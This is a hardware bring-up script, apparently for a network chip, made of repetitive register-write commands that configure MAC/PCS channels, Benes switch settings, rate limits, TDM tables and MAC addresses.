bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 8 pause_quanta 3 0xffffffff
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 8 pause_quanta 3 0xffffffff
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 8 quanta_thresh 3 0x33333333
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 8 quanta_thresh 3 0x33333333
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 8 quanta_thresh 3 0x33333333
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 8 quanta_thresh 3 0x33333333
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_global_set tdm_init_credit_0 0xffffffff
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_global_set tdm_init_credit_0 0xffffffff
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_global_set tdm_init_credit_0 0xffffffff
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_global_set tdm_init_credit_0 0xffffffff
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_global_set tdm_init_credit_1 0xffffffff
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_global_set tdm_init_credit_1 0xffffffff
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_global_set tdm_init_credit_1 0xffffffff
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_global_set tdm_init_credit_1 0xffffffff
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_global_set tdm_init_credit_2 0xffffffff
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_global_set tdm_init_credit_2 0xffffffff
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_global_set tdm_init_credit_2 0xffffffff
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_global_set tdm_init_credit_2 0xffffffff
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 0 init_credit 0x00000007
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 0 init_credit 0x00000007
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 0 init_credit 0x00000007
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 0 init_credit 0x00000007
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 0 credit_trigger 0x00000001
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 0 credit_trigger 0x00000001
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 0 credit_trigger 0x00000001
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 0 credit_trigger 0x00000001
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 4 init_credit 0x00000007
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 4 init_credit 0x00000007
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 4 init_credit 0x00000007
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 4 init_credit 0x00000007
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 4 credit_trigger 0x00000001
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 4 credit_trigger 0x00000001
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 4 credit_trigger 0x00000001
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 4 credit_trigger 0x00000001
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 8 init_credit 0x00000007
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 8 init_credit 0x00000007
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 8 init_credit 0x00000007
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 8 init_credit 0x00000007
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 8 credit_trigger 0x00000001
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 8 credit_trigger 0x00000001
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 8 credit_trigger 0x00000001
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 8 credit_trigger 0x00000001
bringup jspec write pechip[0] register pg_core cfgs config 0x00111107
bringup jspec write pechip[0] register pg_core cfgs rx_tdm_table0 0x0123012301234012
bringup jspec write pechip[0] register pg_core cfgs rx_tdm_table1 0x3012301234012301
bringup jspec write pechip[0] register pg_core cfgs rx_tdm_table2 0x2301234012301230
bringup jspec write pechip[0] register pg_core cfgs rx_tdm_table3 0x1234012301230123
bringup jspec write pechip[0] register pg_core cfgs rx_tdm_table_len 0x00000032
bringup jspec write pechip[0] register pg_core cfgs tx_credit 0 0x00000019
bringup jspec write pechip[0] register pg_core cfgs tx_credit 4 0x00000019
bringup jspec write pechip[0] register pg_core cfgs tx_credit 8 0x00000019
bringup jspec write pechip[0] register pg_core cfgs tx_credit 12 0x00000019
bringup jspec write pechip[0] register pg_core cfgs tx_credit 16 0x00000019
bringup jspec write pechip[0] register pg_core cfgs tx_credit 20 0x00000019
bringup jspec write pechip[0] register pg_core cfgs tx_credit 24 0x00000019
bringup jspec write pechip[0] register pg_core cfgs tx_credit 28 0x00000019
bringup jspec write pechip[0] register pg_core cfgs tx_credit 32 0x00000019
bringup jspec write pechip[0] register pg_core cfgs tx_credit 36 0x00000019
bringup jspec write pechip[0] register pg_core cfgs tx_credit 40 0x00000019
bringup jspec write pechip[0] register pg_core cfgs tx_credit 44 0x00000019
bringup jspec write pechip[0] register pgio 3 benes_config 0 0x00808080
bringup jspec write pechip[0] register pgio 3 benes_config 1 0x00808080
bringup jspec write pechip[0] register pgio 3 benes_config 2 0x00808080
bringup jspec write pechip[0] register pgio 3 benes_config 3 0x00808080
bringup jspec write pechip[0] register pgio 3 benes_config 4 0x00000000
bringup jspec write pechip[0] register pgio 3 benes_config 5 0x00000000
bringup jspec write pechip[0] register pgio 3 benes_config 6 0x00000000
bringup jspec write pechip[0] register pgio 3 benes_config 7 0x00000000
bringup jspec write pechip[0] register pgio 3 benes_config 8 0x00808080
bringup jspec write pechip[0] register pgio 3 benes_config 9 0x00808080
bringup jspec write pechip[0] register pgio 3 benes_config 10 0x00808080
bringup jspec write pechip[0] register pgio 3 benes_config 11 0x00808080
bringup jspec write pechip[0] register pgio 3 benes_config 12 0x00000000
bringup jspec write pechip[0] register pgio 3 benes_config 13 0x00000000
bringup jspec write pechip[0] register pgio 3 benes_config 14 0x00000000
bringup jspec write pechip[0] register pgio 3 benes_config 15 0x00000000
bringup jspec write pechip[0] register pgio 3 benes_commit 0x0000000000000001
bringup jspec write pechip[0] register pgio 3 rate_limit 0 0x0000000000001408
bringup jspec write pechip[0] register pgio 3 rate_limit 1 0x0000000000001408
bringup jspec write pechip[0] register pgio 3 rate_limit 2 0x0000000000001408
bringup jspec write pechip[0] register pgio 3 rate_limit 3 0x0000000000001408
bringup jspec write pechip[0] register pgio 3 rate_limit 4 0x0000000000001408
bringup jspec write pechip[0] register pgio 3 rate_limit 5 0x0000000000001408
bringup jspec write pechip[0] register pgio 3 rate_limit 6 0x0000000000001408
bringup jspec write pechip[0] register pgio 3 rate_limit 7 0x0000000000001408
bringup jspec write pechip[0] register pgio 3 rate_limit 8 0x0000000000001408
bringup jspec write pechip[0] register pgio 3 rate_limit 9 0x0000000000001408
bringup jspec write pechip[0] register pgio 3 rate_limit 10 0x0000000000001408
bringup jspec write pechip[0] register pgio 3 rate_limit 11 0x0000000000001408
bringup jspec write pechip[0] register pgio 3 mux_ctrl 0x0000000000000001
bringup jspec write pechip[0] register pg_xgmacpcs xgmac frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_xgmacpcs xgmacpcs_misc xgpcs_interrupts status 0x00000003
bringup jspec write pechip[0] register pgio 2 benes_config 0 0x00c080c0
bringup jspec write pechip[0] register pgio 2 benes_config 1 0x00c080c0
bringup jspec write pechip[0] register pgio 2 benes_config 2 0x00c080c0
bringup jspec write pechip[0] register pgio 2 benes_config 3 0x00c080c0
bringup jspec write pechip[0] register pgio 2 benes_config 4 0x00409040
bringup jspec write pechip[0] register pgio 2 benes_config 5 0x00409040
bringup jspec write pechip[0] register pgio 2 benes_config 6 0x00409040
bringup jspec write pechip[0] register pgio 2 benes_config 7 0x00409040
bringup jspec write pechip[0] register pgio 2 benes_config 8 0x0080c080
bringup jspec write pechip[0] register pgio 2 benes_config 9 0x0080c080
bringup jspec write pechip[0] register pgio 2 benes_config 10 0x0080c080
bringup jspec write pechip[0] register pgio 2 benes_config 11 0x0080c080
bringup jspec write pechip[0] register pgio 2 benes_config 12 0x0000d000
bringup jspec write pechip[0] register pgio 2 benes_config 13 0x0000d000
bringup jspec write pechip[0] register pgio 2 benes_config 14 0x0000d000
bringup jspec write pechip[0] register pgio 2 benes_config 15 0x0000d000
bringup jspec write pechip[0] register pgio 2 benes_commit 0x0000000000000001
bringup jspec write pechip[0] register pgio 2 rate_limit 0 0x0000000000001408
bringup jspec write pechip[0] register pgio 2 rate_limit 1 0x0000000000001408
bringup jspec write pechip[0] register pgio 2 rate_limit 2 0x0000000000001408
bringup jspec write pechip[0] register pgio 2 rate_limit 3 0x0000000000001408
bringup jspec write pechip[0] register pgio 2 rate_limit 4 0x0000000000001408
bringup jspec write pechip[0] register pgio 2 rate_limit 5 0x0000000000001408
bringup jspec write pechip[0] register pgio 2 rate_limit 6 0x0000000000001408
bringup jspec write pechip[0] register pgio 2 rate_limit 7 0x0000000000001408
bringup jspec write pechip[0] register pgio 2 rate_limit 8 0x0000000000001408
bringup jspec write pechip[0] register pgio 2 rate_limit 9 0x0000000000001408
bringup jspec write pechip[0] register pgio 2 rate_limit 10 0x0000000000001408
bringup jspec write pechip[0] register pgio 2 rate_limit 11 0x0000000000001408
bringup jspec write pechip[0] register pgio 2 mux_ctrl 0x0000000000000001
bringup jspec write pechip[0] register pgio 1 benes_config 0 0x00808080
bringup jspec write pechip[0] register pgio 1 benes_config 1 0x00808080
bringup jspec write pechip[0] register pgio 1 benes_config 2 0x00808080
bringup jspec write pechip[0] register pgio 1 benes_config 3 0x00808080
bringup jspec write pechip[0] register pgio 1 benes_config 4 0x00000000
bringup jspec write pechip[0] register pgio 1 benes_config 5 0x00000000
bringup jspec write pechip[0] register pgio 1 benes_config 6 0x00000000
bringup jspec write pechip[0] register pgio 1 benes_config 7 0x00000000
bringup jspec write pechip[0] register pgio 1 benes_config 8 0x00808080
bringup jspec write pechip[0] register pgio 1 benes_config 9 0x00808080
bringup jspec write pechip[0] register pgio 1 benes_config 10 0x00808080
bringup jspec write pechip[0] register pgio 1 benes_config 11 0x00808080
bringup jspec write pechip[0] register pgio 1 benes_config 12 0x00000000
bringup jspec write pechip[0] register pgio 1 benes_config 13 0x00000000
bringup jspec write pechip[0] register pgio 1 benes_config 14 0x00000000
bringup jspec write pechip[0] register pgio 1 benes_config 15 0x00000000
bringup jspec write pechip[0] register pgio 1 benes_commit 0x0000000000000001
bringup jspec write pechip[0] register pgio 1 rate_limit 0 0x0000000000001408
bringup jspec write pechip[0] register pgio 1 rate_limit 1 0x0000000000001408
bringup jspec write pechip[0] register pgio 1 rate_limit 2 0x0000000000001408
bringup jspec write pechip[0] register pgio 1 rate_limit 3 0x0000000000001408
bringup jspec write pechip[0] register pgio 1 rate_limit 4 0x0000000000001408
bringup jspec write pechip[0] register pgio 1 rate_limit 5 0x0000000000001408
bringup jspec write pechip[0] register pgio 1 rate_limit 6 0x0000000000001408
bringup jspec write pechip[0] register pgio 1 rate_limit 7 0x0000000000001408
bringup jspec write pechip[0] register pgio 1 rate_limit 8 0x0000000000001408
bringup jspec write pechip[0] register pgio 1 rate_limit 9 0x0000000000001408
bringup jspec write pechip[0] register pgio 1 rate_limit 10 0x0000000000001408
bringup jspec write pechip[0] register pgio 1 rate_limit 11 0x0000000000001408
bringup jspec write pechip[0] register pgio 1 mux_ctrl 0x0000000000000001
bringup jspec write pechip[0] register pgio 0 benes_config 0 0x00c080c0
bringup jspec write pechip[0] register pgio 0 benes_config 1 0x00c080c0
bringup jspec write pechip[0] register pgio 0 benes_config 2 0x00c080c0
bringup jspec write pechip[0] register pgio 0 benes_config 3 0x00c080c0
bringup jspec write pechip[0] register pgio 0 benes_config 4 0x00409040
bringup jspec write pechip[0] register pgio 0 benes_config 5 0x00409040
bringup jspec write pechip[0] register pgio 0 benes_config 6 0x00409040
bringup jspec write pechip[0] register pgio 0 benes_config 7 0x00409040
bringup jspec write pechip[0] register pgio 0 benes_config 8 0x0080c080
bringup jspec write pechip[0] register pgio 0 benes_config 9 0x0080c080
bringup jspec write pechip[0] register pgio 0 benes_config 10 0x0080c080
bringup jspec write pechip[0] register pgio 0 benes_config 11 0x0080c080
bringup jspec write pechip[0] register pgio 0 benes_config 12 0x0000d000
bringup jspec write pechip[0] register pgio 0 benes_config 13 0x0000d000
bringup jspec write pechip[0] register pgio 0 benes_config 14 0x0000d000
bringup jspec write pechip[0] register pgio 0 benes_config 15 0x0000d000
bringup jspec write pechip[0] register pgio 0 benes_commit 0x0000000000000001
bringup jspec write pechip[0] register pgio 0 rate_limit 0 0x0000000000001408
bringup jspec write pechip[0] register pgio 0 rate_limit 1 0x0000000000001408
bringup jspec write pechip[0] register pgio 0 rate_limit 2 0x0000000000001408
bringup jspec write pechip[0] register pgio 0 rate_limit 3 0x0000000000001408
bringup jspec write pechip[0] register pgio 0 rate_limit 4 0x0000000000001408
bringup jspec write pechip[0] register pgio 0 rate_limit 5 0x0000000000001408
bringup jspec write pechip[0] register pgio 0 rate_limit 6 0x0000000000001408
bringup jspec write pechip[0] register pgio 0 rate_limit 7 0x0000000000001408
bringup jspec write pechip[0] register pgio 0 rate_limit 8 0x0000000000001408
bringup jspec write pechip[0] register pgio 0 rate_limit 9 0x0000000000001408
bringup jspec write pechip[0] register pgio 0 rate_limit 10 0x0000000000001408
bringup jspec write pechip[0] register pgio 0 rate_limit 11 0x0000000000001408
bringup jspec write pechip[0] register pgio 0 mux_ctrl 0x0000000000000001
bringup jspec write pechip[0] register pgio 3 fifo_ctrl 0x0000000000ffffff
bringup jspec write pechip[0] register pgio 2 fifo_ctrl 0x0000000000ffffff
bringup jspec write pechip[0] register pgio 1 fifo_ctrl 0x0000000000ffffff
bringup jspec write pechip[0] register pgio 0 fifo_ctrl 0x0000000000ffffff
bringup jspec write pechip[0] register pg_cxlmacpcs cmac_reg command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 0 command_config 0x00000853
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 0 command_config 0x00000853
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 0 command_config 0x00000853
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 0 command_config 0x00000853
bringup jspec write pechip[0] register pg_cxlmacpcs cpcs_reg cpcs_core control1 0x00002050
bringup jspec write pechip[0] register pg_cxlmacpcs cmac_reg tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_pcs_set 0 pcs_control1 0x0000204c
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_pcs_set 0 pcs_control1 0x0000204c
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_pcs_set 0 pcs_control1 0x0000204c
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_pcs_set 0 pcs_control1 0x0000204c
bringup jspec write pechip[0] register pg_cxlmacpcs cmac_reg frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 0 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 0 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 0 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 0 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_cxlmacpcs cmac_reg mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 0 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 0 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 0 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 0 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_cxlmacpcs cmac_reg mac_addr_1 0x00000004
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 0 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 0 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 0 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 0 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 0 mac_addr_1 0x00000000
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 0 mac_addr_1 0x00000001
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 0 mac_addr_1 0x00000002
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 0 mac_addr_1 0x00000003
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 1 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 1 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 1 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 1 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_pcs_set 1 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_pcs_set 1 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_pcs_set 1 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_pcs_set 1 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 1 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 1 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 1 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 1 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 1 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 1 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 1 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 1 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 1 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 1 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 1 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 1 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 1 mac_addr_1 0x00000100
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 1 mac_addr_1 0x00000101
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 1 mac_addr_1 0x00000102
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 1 mac_addr_1 0x00000103
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 2 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 2 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 2 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 2 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_pcs_set 2 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_pcs_set 2 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_pcs_set 2 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_pcs_set 2 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 2 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 2 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 2 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 2 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 2 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 2 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 2 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 2 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 2 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 2 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 2 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 2 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 2 mac_addr_1 0x00000200
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 2 mac_addr_1 0x00000201
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 2 mac_addr_1 0x00000202
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 2 mac_addr_1 0x00000203
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 3 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 3 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 3 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 3 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_pcs_set 3 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_pcs_set 3 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_pcs_set 3 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_pcs_set 3 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 3 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 3 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 3 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 3 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 3 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 3 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 3 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 3 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 3 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 3 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 3 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 3 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 3 mac_addr_1 0x00000300
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 3 mac_addr_1 0x00000301
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 3 mac_addr_1 0x00000302
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 3 mac_addr_1 0x00000303
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 4 command_config 0x00000853
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 4 command_config 0x00000853
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 4 command_config 0x00000853
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 4 command_config 0x00000853
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_pcs_set 4 pcs_control1 0x0000204c
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_pcs_set 4 pcs_control1 0x0000204c
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_pcs_set 4 pcs_control1 0x0000204c
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_pcs_set 4 pcs_control1 0x0000204c
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 4 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 4 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 4 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 4 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 4 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 4 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 4 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 4 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 4 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 4 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 4 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 4 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 4 mac_addr_1 0x00000400
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 4 mac_addr_1 0x00000401
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 4 mac_addr_1 0x00000402
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 4 mac_addr_1 0x00000403
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 5 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 5 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 5 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 5 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_pcs_set 5 pcs_control1 0x00002040
